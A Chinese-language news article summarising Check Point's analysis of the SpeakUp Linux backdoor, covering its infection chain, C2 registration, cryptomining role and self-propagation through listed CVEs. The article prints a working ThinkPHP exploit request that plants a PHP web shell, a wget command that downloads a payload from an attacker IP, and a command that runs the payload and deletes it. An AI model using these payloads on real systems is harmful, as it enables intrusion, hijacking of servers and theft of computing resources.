新型后门木马SpeakUp来袭,目标瞄准Linux服务器
网络安全公司Check Point的研究人员在最新发布的一份分析报告中指出,他们于近日发现一场利用试图Linux服务器漏洞来植入一种新型后门木马的恶意攻击活动。值得注意的是,这种新型木马几乎绕过了VirusTotal(一个提供免费的可疑文件分析服务的网站)上所有杀毒引擎的检测。
根据其中一台命令和控制(C2)服务器的名称,Check Point的研究人员将这种新型木马命名为“SpeakUp”。据称,这种新型木马能够利用6个不同的Linux发布版中的已知漏洞。其目前的主要攻击目标是东亚和拉美地区的Linux服务器,包括托管在亚马逊ASW云服务上的服务器(感染情况见下图)。
Check Point的分析报告指出,SpeakUp能够利用远程代码执行漏洞在受感染服务器所处的内网传播,进而感染更多的服务器。不仅如此,SpeakUp的后门功能还使得它能够感染Mac设备。
感染过程
根据Check Point分析报告的描述,SpeakUp的感染过程从利用ThinkPHP(轻量级PHP开发框架)的一个漏洞开始,以及使用命令注入技术上传一个用来植入并执行pPerl(一种功能丰富的计算机程序语言)后门的PHP shell脚本。
漏洞利用通过三个步骤完成:
步骤1:利用CVE-2018-20062来上传PHP shell脚本
使用GET请求(如下所示),通过ThinkPHP远程代码执行漏洞CVE-2018-20062将shell脚本发送到目标服务器:
s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<? php $action = $_GET[‘module’];system($action);? ^>>index.php
这个shell脚本接下来会通过query中的“module”参数来执行命令。
步骤2:植入后门
发送另一个HTTP请求(如下所示)到目标服务器:
/?module=wget hxxp://67[.]209.177.163/ibus -O /tmp/e3ac24a0bcddfacd010a6c10f4a814bc
实际上,这是一个注入过程,目的是植入ibus payload并将其存储到位置/tmp/e3ac24a0bcddfacd010a6c10f4a814bc
步骤2:启动后门
使用如下HTTP请求来执行后门:
/?module=perl /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc;sleep 2;rm -rf /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc
执行perl后门,休眠2秒钟,并通过删除该文件来清除感染痕迹。
后门分析
据称,Check Point分析报告中展示的SpeakUp样本(ibus)是于今年1月14日在一台位于我国的服务器上发现的。调查发现,该样本实际上在1月9日就已经被上传到了VirusTotal(一个提供免费的可疑文件分析服务的网站)。VirusTotal的检测结果显示,没有任何一款安全产品将它检测为恶意。
为了逃避安全检测,SpeakUp的代码采用了base64加盐算法加密。不仅如此,C2通信也是采用了相同的方式加密。这也是为什么VirusTotal上的杀毒引擎无法将其检测为恶意的原因所在。
受感染服务器注册
分析报告指出,SpeakUp使用的是HTTP上的POST和GET请求来与其C2服务器进行通信。其中,C2服务器是一个被黑掉的网站。
第一个post请求发送的是受感染服务器ID和其他介绍性的信息,比如已安装脚本的当前版本等。
第一个C2响应是“needrgr”,表示受感染服务器之前未在C2服务器上注册,需要注册。
之后,SpeakUp会通过执行如下Linux命令来POST受感染服务器的完整信息:
Uname (-r, -v, -m, -n,-a, -s)
Whoami
Ifconfig –a
Arp –a
cat /proc/cpuinfo | grep -c “cpu family” 2>&1
who –b
SpeakUp的主要功能
在注册过程完成之后,SpeakUp会继续与C2服务器进行通信。
C2服务器返回的命令如下:
“newtask”-在本地计算机上执行任意代码,从远程服务器下载和执行文件,杀死或卸载程序,发送更新的指纹数据。
“notask”-休眠3秒,并请求其他命令。
“newerconfig”-更新下载的矿工配置文件。
需要说明的是,SpeakUp的持久性是通过cron(计划任务)和内部mutex(互斥锁)来实现的。
感染后的通信
一旦受感染服务器注册完成,C2服务器就会发送新的任务——不同的C2服务器会命名受感染服务器来下载和执行不同的文件。
有一个需要注意的点是,SpeakUp使用了User-Agent用户代理。具体来说,SpeakUp定义了三个用户代理,而受感染服务器在与C2服务器进行通信时必须使用这些代理。其中两个代理是MacOS X User-Agent,第三个是经过哈希处理的字符串:
Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/BADDAD
Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405
E9BC3BD76216AFA560BFB5ACAF5731A3
目前,SpeakUp主要服务于XMRig矿工,为其提供“肉鸡(受感染服务器)”。根据XMRHunter网站的查询结果显示,攻击者的钱包目前拥有约107枚门罗币。
自我传播能力
攻击者还为SpeakUp配备了一个“i”模块,它实际上是一个python脚本,使得SpeakUp能够扫描和感染位于受感染服务器所处内网和外网的其他更多的Linux服务器。其主要功能有:
使用预定义的用户名和密码来暴力破解尝试登陆管理面板;
扫描受感染服务器的网络环境,检测共享相同内部和外部子网掩码的服务器上的特定端口的可用性;
尝试利用目标服务器上的远程代码执行漏洞,具体如下:
a) CVE-2012-0874:JBoss Enterprise Application Platform安全限制绕过漏洞;
b) CVE-2010-1871:JBoss Seam Framework远程代码执行漏洞;
c) JBoss AS 3/4/5/6:远程代码执行漏洞;
d) CVE-2017-10271:Oracle WebLogic wls-wsat Component Deserialization远程代码执行漏洞;
e) CVE-2018-2894:Oracle Fusion Middleware的Oracle WebLogic服务器漏洞;
f) Hadoop YARN ResourceManager:命令执行漏洞;
g) CVE-2016-3088:Apache ActiveMQ文件服务器文件上传远程代码执行漏洞。
以上任何一个漏洞被成功利用,都会导致服务器感染SpeakUp木马。